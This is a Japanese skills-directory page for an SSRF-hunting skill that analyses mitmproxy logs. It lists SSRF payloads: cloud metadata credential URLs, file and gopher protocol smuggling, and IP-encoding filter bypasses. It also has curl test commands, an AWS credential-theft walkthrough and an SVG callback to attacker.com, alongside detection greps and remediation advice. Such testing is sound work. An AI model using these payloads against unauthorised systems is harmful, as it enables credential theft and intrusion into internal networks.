mcpField
M
mitm-find-ssrf

mitm-find-ssrf

github.com/instavmセキュリティ8777 回インストール13 週間前に更新
リポジトリ

mitm-find-ssrf について

mitmproxyの通信ログからSSRFの入口や兆候を調べるセキュリティテスト用スキルです。URL入力、内部宛てのテスト、検出根拠の確認を支援します。

主な機能

  1. 01URL形式のリクエスト入力の特定
  2. 02ファイル処理とWebhookエンドポイントの確認
  3. 03Host関連ヘッダーの確認
  4. 04内部宛てアクセスのテスト
  5. 05深刻度別の検出内容整理

活用シーン

  1. 01通信ログ内のURLパラメーターの確認
  2. 02画像・文書処理リクエストの評価
  3. 03Webhook設定フローの確認
  4. 04SSRF疑いの根拠の記録

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/instavm/security-skills --skill mitm-find-ssrf

インストール後、Claude Code で/mitm-find-ssrfを入力して読み込まれたか確認します。

詳細

SSRF の脆弱性を探す

mitmproxy のダンプ(log.txt)を分析して、次の SSRF の脆弱性を調べます:$ARGUMENTS

必要条件:カレントディレクトリに log.txt が必要です。ファイルがない場合は、先にトラフィックをキャプチャしてください:

mitmdump --set flow_detail=3 2>&1 | tee log.txt

高価値な SSRF パターン(HackerOne の実際の報奨金レポート 113 件に基づく)

1. リクエスト内の URL パラメーター

脆弱性がよく見られるパラメーター:

url, uri, path, dest, redirect, link, href
src, source, file, document, page, load
target, proxy, fetch, request, callback
webhook, hook, endpoint, api_url, base_url
image_url, avatar_url, icon_url, logo_url
pdf_url, export_url, import_url, feed_url

検索パターン:

grep -iE '(url|uri|path|src|href|link|dest|redirect|webhook|callback|fetch|proxy|target)[=:]["'\''"]?https?://' log.txt
2. ファイル/画像処理エンドポイント

報奨金レポートの実例:

  • SVG のアップロードによる SSRF(Shopify)
  • 商品作成時の画像 URL
  • 外部リソースを使った PDF の生成
  • URL から取得するアバター/プロフィール画像

検索パターン:

grep -iE '\.(svg|pdf|xml|html)' log.txt
grep -iE '(upload|import|fetch|process).*url' log.txt
3. インテグレーション/Webhook エンドポイント

実例:

  • Sentry のソースコードスクレイピング
  • 認証情報を使った Git クローン
  • OAuth コールバックの操作
  • Webhook URL の指定

検索パターン:

grep -iE '(webhook|callback|hook|notify|integration)' log.txt
grep -iE 'git.*clone|git.*url' log.txt
4. Host ヘッダーインジェクション

**実例:**Host ヘッダーのバイパスによる内部サブドメインへのアクセス

Host: internal.target.com
X-Forwarded-Host: internal.target.com
X-Original-URL: /internal/admin

検索パターン:

grep -iE '^Host:' log.txt
grep -iE 'X-Forwarded|X-Original' log.txt

SSRF の標的ペイロード

内部ネットワークのプロービング
http://127.0.0.1
http://localhost
http://[::1]
http://0.0.0.0
http://169.254.169.254  # AWS metadata
http://metadata.google.internal  # GCP metadata
http://100.100.100.200  # Alibaba metadata
クラウドのメタデータエンドポイント(重大)
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01

# DigitalOcean
http://169.254.169.254/metadata/v1/
プロトコルスマグリング
file:///etc/passwd
dict://localhost:11211/
gopher://localhost:6379/_*1%0d%0a$4%0d%0aINFO%0d%0a
ldap://localhost/

脆弱性の分類と深刻度

種類深刻度影響
クラウドメタデータへのアクセスCRITICALAWS キー、サービスの認証情報
内部サービスへのアクセスHIGHデータベース、キャッシュ、管理パネル
ブラインド SSRF(OOB)MEDIUMポートスキャン、内部偵察
制限付き SSRF(応答なし)LOWサービス拒否、限定的な偵察

テスト手法

ステップ 1:URL 入力箇所を特定する
# Find URL-like parameters
grep -iE 'https?://[^\s"'\''<>]+' log.txt | grep -iE '(url|uri|src|href|link|path)='

# Find base64 encoded URLs
grep -oE '[A-Za-z0-9+/]{20,}={0,2}' log.txt | while read b; do echo "$b" | base64 -d 2>/dev/null | grep -q 'http' && echo "Base64 URL: $b"; done
ステップ 2:内部標的でテストする
# Test localhost
curl 'https://target.com/api/fetch?url=http://127.0.0.1:80'

# Test metadata (AWS)
curl 'https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/'

# Test with DNS rebinding
curl 'https://target.com/api/fetch?url=http://your-rebind-domain.com'
ステップ 3:一般的なフィルターをバイパスする
# IP variations
http://127.0.0.1 → http://2130706433 (decimal)
http://127.0.0.1 → http://0x7f000001 (hex)
http://127.0.0.1 → http://0177.0.0.1 (octal)
http://127.0.0.1 → http://127.1

# DNS bypass
http://localhost → http://localtest.me
http://169.254.169.254 → http://[0:0:0:0:0:ffff:169.254.169.254]

# URL encoding
http://127.0.0.1 → http://%31%32%37%2e%30%2e%30%2e%31
ステップ 4:アウトオブバンドで確認する
# Use Burp Collaborator, webhook.site, or interactsh
curl 'https://target.com/api/fetch?url=http://YOUR-BURP-COLLABORATOR-ID.burpcollaborator.net'

実際の攻撃シナリオ

シナリオ 1:SSRF による AWS 認証情報の窃取
1. Find image import feature: POST /api/import?image_url=XXX
2. Set URL to: http://169.254.169.254/latest/meta-data/iam/security-credentials/
3. Response contains IAM role name
4. Fetch: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
5. Get temporary AWS credentials
シナリオ 2:内部サービスへのアクセス
1. Find webhook configuration
2. Set webhook URL to internal service: http://internal-admin.local/
3. Trigger webhook
4. Access internal admin panel functionality
シナリオ 3:SVG を介したブラインド SSRF
1. Upload SVG file with external reference:
   <svg><image href="http://attacker.com/callback"/></svg>
2. Server processes SVG, fetches external URL
3. Attacker receives connection from internal IP

出力形式

## SSRF Finding: [Brief Description]

**Endpoint**: `METHOD https://target.com/path`
**Parameter**: `param_name`
**Type**: [Full|Blind|Partial]
**Severity**: [CRITICAL|HIGH|MEDIUM|LOW]

**Evidence**:
[Request showing URL parameter]

**Tested Payloads**:
- http://127.0.0.1 → [response/behavior]
- http://169.254.169.254 → [response/behavior]

**Impact**:
- Cloud credential theft
- Internal network access
- Service enumeration

**Test Command**:
curl -X METHOD 'https://target.com/...' -d 'url=http://169.254.169.254/'

**Remediation**:
- Whitelist allowed domains
- Block private IP ranges
- Use allowlist for protocols (http/https only)
- Disable redirects or validate redirect targets

無視すべき誤検知

  • ハードコードされた静的 CDN URL
  • 許可リストとの照合で検証される OAuth の redirect_uri
  • HTTPS のみを受け付け、ドメインが検証される Webhook URL
  • クライアント側でのみ使用される URL パラメーター(JS fetch)

コメント